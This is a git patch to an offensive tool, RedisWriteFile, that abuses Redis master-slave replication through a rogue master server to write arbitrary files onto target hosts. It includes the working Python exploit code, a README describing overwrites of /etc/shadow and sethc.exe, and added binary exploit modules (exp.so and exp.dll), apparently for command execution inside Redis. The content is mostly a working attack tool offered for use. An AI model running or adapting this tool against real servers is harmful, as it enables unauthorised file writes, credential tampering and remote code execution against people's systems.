From 7716818d18ee75ff88a6c059c72e2778db49facc Mon Sep 17 00:00:00 2001 From: lsroot Date: Fri, 20 Dec 2024 03:21:56 +0800 Subject: [PATCH] feat: Restructure project and add exp fils Reference sources: - redis-rogue-server for exp.so - RedisModules-ExecuteCommand for exp.dll --- .gitignore | 268 ++++++++++++++++++++++++++++ README.md | 31 ++-- RedisWriteFile.py | 165 +++++++++++------ bt_gif.gif => assets/bt_gif.gif | Bin ie.gif => assets/ie.gif | Bin sethc_ok.gif => assets/sethc_ok.gif | Bin exp.dll | Bin 0 -> 16384 bytes exp.so | Bin 0 -> 44320 bytes 8 files changed, 401 insertions(+), 63 deletions(-) create mode 100644 .gitignore rename bt_gif.gif => assets/bt_gif.gif (100%) rename ie.gif => assets/ie.gif (100%) rename sethc_ok.gif => assets/sethc_ok.gif (100%) create mode 100644 exp.dll create mode 100755 exp.so diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..1b85794 --- /dev/null +++ b/.gitignore @@ -0,0 +1,268 @@ +# Created by https://www.toptal.com/developers/gitignore/api/windows,macos,linux,python,visualstudiocode +# Edit at https://www.toptal.com/developers/gitignore?templates=windows,macos,linux,python,visualstudiocode + +### Linux ### +*~ + +# temporary files which can be created if a process still has a handle open of a deleted file +.fuse_hidden* + +# KDE directory preferences +.directory + +# Linux trash folder which might appear on any partition or disk +.Trash-* + +# .nfs files are created when an open file is removed but is still being accessed +.nfs* + +### macOS ### +# General +.DS_Store +.AppleDouble +.LSOverride + +# Icon must end with two \r +Icon + +# Thumbnails +._* + +# Files that might appear in the root of a volume +.DocumentRevisions-V100 +.fseventsd +.Spotlight-V100 +.TemporaryItems +.Trashes +.VolumeIcon.icns +.com.apple.timemachine.donotpresent + +# Directories potentially created on remote AFP share +.AppleDB +.AppleDesktop +Network Trash Folder +Temporary Items +.apdisk + +### macOS Patch ### +# iCloud generated files +*.icloud + +### Python ### +# Byte-compiled / optimized / DLL files +__pycache__/ +*.py[cod] +*$py.class + +# C extensions +# *.so + +# Distribution / packaging +.Python +build/ +develop-eggs/ +dist/ +downloads/ +eggs/ +.eggs/ +lib/ +lib64/ +parts/ +sdist/ +var/ +wheels/ +share/python-wheels/ +*.egg-info/ +.installed.cfg +*.egg +MANIFEST + +# PyInstaller +# Usually these files are written by a python script from a template +# before PyInstaller builds the exe, so as to inject date/other infos into it. +*.manifest +*.spec + +# Installer logs +pip-log.txt +pip-delete-this-directory.txt + +# Unit test / coverage reports +htmlcov/ +.tox/ +.nox/ +.coverage +.coverage.* +.cache +nosetests.xml +coverage.xml +*.cover +*.py,cover +.hypothesis/ +.pytest_cache/ +cover/ + +# Translations +*.mo +*.pot + +# Django stuff: +*.log +local_settings.py +db.sqlite3 +db.sqlite3-journal + +# Flask stuff: +instance/ +.webassets-cache + +# Scrapy stuff: +.scrapy + +# Sphinx documentation +docs/_build/ + +# PyBuilder +.pybuilder/ +target/ + +# Jupyter Notebook +.ipynb_checkpoints + +# IPython +profile_default/ +ipython_config.py + +# pyenv +# For a library or package, you might want to ignore these files since the code is +# intended to run in multiple environments; otherwise, check them in: +# .python-version + +# pipenv +# According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control. +# However, in case of collaboration, if having platform-specific dependencies or dependencies +# having no cross-platform support, pipenv may install dependencies that don't work, or not +# install all needed dependencies. +#Pipfile.lock + +# poetry +# Similar to Pipfile.lock, it is generally recommended to include poetry.lock in version control. +# This is especially recommended for binary packages to ensure reproducibility, and is more +# commonly ignored for libraries. +# https://python-poetry.org/docs/basic-usage/#commit-your-poetrylock-file-to-version-control +#poetry.lock + +# pdm +# Similar to Pipfile.lock, it is generally recommended to include pdm.lock in version control. +#pdm.lock +# pdm stores project-wide configurations in .pdm.toml, but it is recommended to not include it +# in version control. +# https://pdm.fming.dev/#use-with-ide +.pdm.toml + +# PEP 582; used by e.g. github.com/David-OConnor/pyflow and github.com/pdm-project/pdm +__pypackages__/ + +# Celery stuff +celerybeat-schedule +celerybeat.pid + +# SageMath parsed files +*.sage.py + +# Environments +.env +.venv +env/ +venv/ +ENV/ +env.bak/ +venv.bak/ + +# Spyder project settings +.spyderproject +.spyproject + +# Rope project settings +.ropeproject + +# mkdocs documentation +/site + +# mypy +.mypy_cache/ +.dmypy.json +dmypy.json + +# Pyre type checker +.pyre/ + +# pytype static type analyzer +.pytype/ + +# Cython debug symbols +cython_debug/ + +# PyCharm +# JetBrains specific template is maintained in a separate JetBrains.gitignore that can +# be found at https://github.com/github/gitignore/blob/main/Global/JetBrains.gitignore +# and can be added to the global gitignore or merged into this file. For a more nuclear +# option (not recommended) you can uncomment the following to ignore the entire idea folder. +#.idea/ + +### Python Patch ### +# Poetry local configuration file - https://python-poetry.org/docs/configuration/#local-configuration +poetry.toml + +# ruff +.ruff_cache/ + +# LSP config files +pyrightconfig.json + +### VisualStudioCode ### +.vscode/* +!.vscode/settings.json +!.vscode/tasks.json +!.vscode/launch.json +!.vscode/extensions.json +!.vscode/*.code-snippets + +# Local History for Visual Studio Code +.history/ + +# Built Visual Studio Code Extensions +*.vsix + +### VisualStudioCode Patch ### +# Ignore all local history of files +.history +.ionide + +### Windows ### +# Windows thumbnail cache files +Thumbs.db +Thumbs.db:encryptable +ehthumbs.db +ehthumbs_vista.db + +# Dump file +*.stackdump + +# Folder config file +[Dd]esktop.ini + +# Recycle Bin used on file shares +$RECYCLE.BIN/ + +# Windows Installer files +*.cab +*.msi +*.msix +*.msm +*.msp + +# Windows shortcuts +*.lnk + +# End of https://www.toptal.com/developers/gitignore/api/windows,macos,linux,python,visualstudiocode diff --git a/README.md b/README.md index 7f024cd..44be60f 100644 --- a/README.md +++ b/README.md @@ -1,18 +1,21 @@ +# RedisWriteFile 此脚本是通过 `Redis` 主从写出无损文件,可用于 `Windows` 平台下写出无损的 `EXE`、`DLL`、 `LNK` 和 `Linux` 下的 `OS` 等二进制文件 -也可以用无杂质覆写 `Linux` 中的 `/etc/shadow` +也可以用无杂质覆写 `Linux` 中的 `/etc/shadow` 用法: -``` -______ _ _ _ _ _ _ ______ _ _ -| ___ \ | (_) | | | | (_) | | ___(_) | -| |_/ /___ __| |_ ___| | | |_ __ _| |_ ___| |_ _| | ___ +> 最好在 powershell 环境中使用 + +```plaintext +______ _ _ _ _ _ _ ______ _ _ +| ___ \ | (_) | | | | (_) | | ___(_) | +| |_/ /___ __| |_ ___| | | |_ __ _| |_ ___| |_ _| | ___ | // _ \/ _` | / __| |/\| | '__| | __/ _ \ _| | | |/ _ \ | |\ \ __/ (_| | \__ \ /\ / | | | || __/ | | | | __/ -\_| \_\___|\__,_|_|___/\/ \/|_| |_|\__\___\_| |_|_|\___| +\_| \_\___|\__,_|_|___/\/ \/|_| |_|\__\___\_| |_|_|\___| - Author : R3start + Author : R3start Reference : redis-rogue-server.py Usage: rediswritefile.py [options] @@ -33,14 +36,22 @@ Options: -v, --verbose Show full data stream ``` + +## Ref + +- `exp.so`: +- `exp.dll`: + +## Example + 如覆写宝塔配置文件: -![bt.gif](https://github.com/r35tart/RedisWriteFile/raw/master/bt_gif.gif) +![bt.gif](./assets/bt_gif.gif) 覆写 `sethc.exe`: -![sethc.gif](https://github.com/r35tart/RedisWriteFile/raw/master/sethc_ok.gif) +![sethc.gif](./assets/sethc_ok.gif) 覆写 `LNK` : -![ie.gif](https://github.com/r35tart/RedisWriteFile/raw/master/ie.gif) +![ie.gif](./assets/ie.gif) diff --git a/RedisWriteFile.py b/RedisWriteFile.py index 3442365..d38b9b4 100644 --- a/RedisWriteFile.py +++ b/RedisWriteFile.py @@ -1,33 +1,30 @@ #!/usr/bin/env python3 # -*- encoding: utf-8 -*- -''' -@File : RedisWriteFile.py -@Time : 2020/05/22 22:55:13 -@Author : R3start -@Version : 1.0 -''' +# @File : RedisWriteFile.py +# @Time : 2020/05/22 22:55:13 +# @Author : R3start +# @Version : 1.0 +# Description: Write file losslessly via Redis master-slave replication -# 脚本介绍 -# 通过 Redis 主从写出无损文件 import socket -import sys from time import sleep from optparse import OptionParser CLRF = "\r\n" -BANNER = ''' -______ _ _ _ _ _ _ ______ _ _ -| ___ \ | (_) | | | | (_) | | ___(_) | -| |_/ /___ __| |_ ___| | | |_ __ _| |_ ___| |_ _| | ___ +BANNER = r""" +______ _ _ _ _ _ _ ______ _ _ +| ___ \ | (_) | | | | (_) | | ___(_) | +| |_/ /___ __| |_ ___| | | |_ __ _| |_ ___| |_ _| | ___ | // _ \/ _` | / __| |/\| | '__| | __/ _ \ _| | | |/ _ \\ | |\ \ __/ (_| | \__ \ /\ / | | | || __/ | | | | __/ -\_| \_\___|\__,_|_|___/\/ \/|_| |_|\__\___\_| |_|_|\___| +\_| \_\___|\__,_|_|___/\/ \/|_| |_|\__\___\_| |_|_|\___| - Author : R3start + Author : R3start Reference : redis-rogue-server.py -''' +""" + def encode_cmd_arr(arr): cmd = "" @@ -38,9 +35,11 @@ def encode_cmd_arr(arr): cmd += "\r\n" return cmd + def encode_cmd(raw_cmd): return encode_cmd_arr(raw_cmd.split("##")) + def decode_cmd(cmd): if cmd.startswith("*"): raw_arr = cmd.strip().split("\r\n") @@ -49,9 +48,11 @@ def decode_cmd(cmd): return cmd.split("\r\n", 2)[1] return cmd.strip().split(" ") + def info(msg): print(f"\033[1;32;40m[info]\033[0m {msg}") + def din(sock, cnt=4096): global verbose msg = sock.recv(cnt) @@ -60,7 +61,8 @@ def din(sock, cnt=4096): print(f"\033[1;34;40m[->]\033[0m {msg}") else: print(f"\033[1;34;40m[->]\033[0m {msg[:80]}......{msg[-80:]}") - return msg.decode('gb18030') + return msg.decode("gb18030") + def dout(sock, msg): global verbose @@ -73,9 +75,11 @@ def dout(sock, msg): else: print(f"\033[1;33;40m[<-]\033[0m {msg[:80]}......{msg[-80:]}") + def decode_shell_result(s): return "\n".join(s.split("\r\n")[1:-1]) + class Remote: def __init__(self, rhost, rport): self._host = rhost @@ -100,7 +104,7 @@ def __init__(self, lhost, lport): self._host = lhost self._port = lport self._sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - self._sock.bind(('0.0.0.0', self._port)) + self._sock.bind(("127.0.0.1", self._port)) self._sock.listen(10) def close(self): @@ -117,7 +121,7 @@ def handle(self, data): resp = "+OK" + CLRF phase = 2 elif cmd_arr[0].startswith("PSYNC") or cmd_arr[0].startswith("SYNC"): - resp = "+FULLRESYNC " + "Z"*40 + " 1" + CLRF + resp = "+FULLRESYNC " + "Z" * 40 + " 1" + CLRF resp += "$" + str(len(payload)) + CLRF resp = resp.encode() resp += payload + CLRF.encode() @@ -136,56 +140,109 @@ def exp(self): break -def runserver(rhost, rport, lhost, lport,rpath,rfile): +def runserver(rhost, rport, lhost, lport, rpath, rfile): try: remote = Remote(rhost, rport) if auth: check = remote.do(f"AUTH##{auth}") - if "invalid password" in check : - info("Redis 认证密码错误!") + if "invalid password" in check: + info("Redis authentication password error!") exit() else: infos = remote.do("INFO") if "NOAUTH" in infos: - info("Redis 需要密码认证") + info("Redis requires password authentication") exit() - info("连接恶意主服务器: %s:%s " % (lhost,lport)) - info("连接恶意主状态: %s " % (remote.do(f"SLAVEOF##{lhost}##{lport}"))) - info("设置写出路径为: %s " % (str(rpath))) - info("设置写出路径状态: %s " % (remote.do(f"CONFIG##SET##dir##{str(rpath)}"))) - info("设置写出文件为: %s" % (rfile)) - info("设置写出文件状态: %s " % (remote.do(f"CONFIG##SET##dbfilename##{rfile}"))) + info("Connect to malicious master server: %s:%s " % (lhost, lport)) + info( + "Connect malicious master status: %s " + % (remote.do(f"SLAVEOF##{lhost}##{lport}")) + ) + info("Set output path to: %s " % (str(rpath))) + info( + "Set output path status: %s " + % (remote.do(f"CONFIG##SET##dir##{str(rpath)}")) + ) + info("Set output file to: %s" % (rfile)) + info( + "Set output file status: %s " + % (remote.do(f"CONFIG##SET##dbfilename##{rfile}")) + ) sleep(2) rogue = RogueServer(lhost, lport) rogue.exp() sleep(2) - info("断开主从连接: %s" % (remote.do("SLAVEOF##NO##ONE"))) - info("恢复原始文件名: %s" % (remote.do("CONFIG##SET##dbfilename##dump.rdb"))) + info("Disconnect target form master node: %s" % (remote.do("SLAVEOF##NO##ONE"))) + info( + "Restore origin file name: %s" + % (remote.do("CONFIG##SET##dbfilename##dump.rdb")) + ) rogue.close() except Exception as e: - print("\033[1;31;m[-]\033[0m 发生错误! : {} \n[*] Exit..".format(e)) -if __name__ == '__main__': + print("\033[1;31;m[-]\033[0m Error occurred! : {} \n[*] Exit..".format(e)) + + +if __name__ == "__main__": print(BANNER) parser = OptionParser() - parser.add_option("--rhost", dest="rh", type="string", - help="target host", metavar="REMOTE_HOST") - parser.add_option("--rport", dest="rp", type="int", - help="target redis port, default 6379", default=6379, - metavar="REMOTE_PORT") - parser.add_option("--lhost", dest="lh", type="string", - help="rogue server ip", metavar="LOCAL_HOST") - parser.add_option("--lport", dest="lp", type="int", - help="rogue server listen port, default 21000", default=21000, - metavar="LOCAL_PORT") - parser.add_option("--rpath", dest="rpath", type="string", - help="write to target file path, default '.'", metavar="Target_File_Path",default='.') - parser.add_option("--rfile", dest="rfile", type="string", - help="write to target file name, default dump.rdb", metavar="Target_File_Name",default='dump.rdb') - parser.add_option("--lfile", dest="lfile", type="string", - help="Local file that needs to be written", metavar="Local_File_Name",default='dump.rdb') + parser.add_option( + "--rhost", dest="rh", type="string", help="target host", metavar="REMOTE_HOST" + ) + parser.add_option( + "--rport", + dest="rp", + type="int", + help="target redis port, default 6379", + default=6379, + metavar="REMOTE_PORT", + ) + parser.add_option( + "--lhost", + dest="lh", + type="string", + help="rogue server ip", + metavar="LOCAL_HOST", + ) + parser.add_option( + "--lport", + dest="lp", + type="int", + help="rogue server listen port, default 21000", + default=21000, + metavar="LOCAL_PORT", + ) + parser.add_option( + "--rpath", + dest="rpath", + type="string", + help="write to target file path, default '.'", + metavar="Target_File_Path", + default=".", + ) + parser.add_option( + "--rfile", + dest="rfile", + type="string", + help="write to target file name, default dump.rdb", + metavar="Target_File_Name", + default="dump.rdb", + ) + parser.add_option( + "--lfile", + dest="lfile", + type="string", + help="Local file that needs to be written", + metavar="Local_File_Name", + default="dump.rdb", + ) parser.add_option("--auth", dest="auth", type="string", help="redis password") - parser.add_option("-v", "--verbose", action="store_true", default=False, - help="Show full data stream") + parser.add_option( + "-v", + "--verbose", + action="store_true", + default=False, + help="Show full data stream", + ) (options, args) = parser.parse_args() global verbose, payload, filename, auth @@ -195,12 +252,14 @@ def runserver(rhost, rport, lhost, lport,rpath,rfile): payload = open(localfile, "rb").read() if not options.rh or not options.lh: - info("请输入完整参数,-h 查看使用帮助") + info("Please enter complete parameters, use -h to view help") exit() info(f"TARGET {options.rh}:{options.rp}") info(f"SERVER {options.lh}:{options.lp}") try: - runserver(options.rh, options.rp, options.lh, options.lp,options.rpath,options.rfile) + runserver( + options.rh, options.rp, options.lh, options.lp, options.rpath, options.rfile + ) except Exception as e: info(repr(e)) diff --git a/bt_gif.gif b/assets/bt_gif.gif similarity index 100% rename from bt_gif.gif rename to assets/bt_gif.gif diff --git a/ie.gif b/assets/ie.gif similarity index 100% rename from ie.gif rename to assets/ie.gif diff --git a/sethc_ok.gif b/assets/sethc_ok.gif similarity index 100% rename from sethc_ok.gif rename to assets/sethc_ok.gif diff --git a/exp.dll b/exp.dll new file mode 100644 index 0000000000000000000000000000000000000000..b021d18d7778399d9c80af4d5108ae6bcde8c8d1 GIT binary patch literal 16384 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 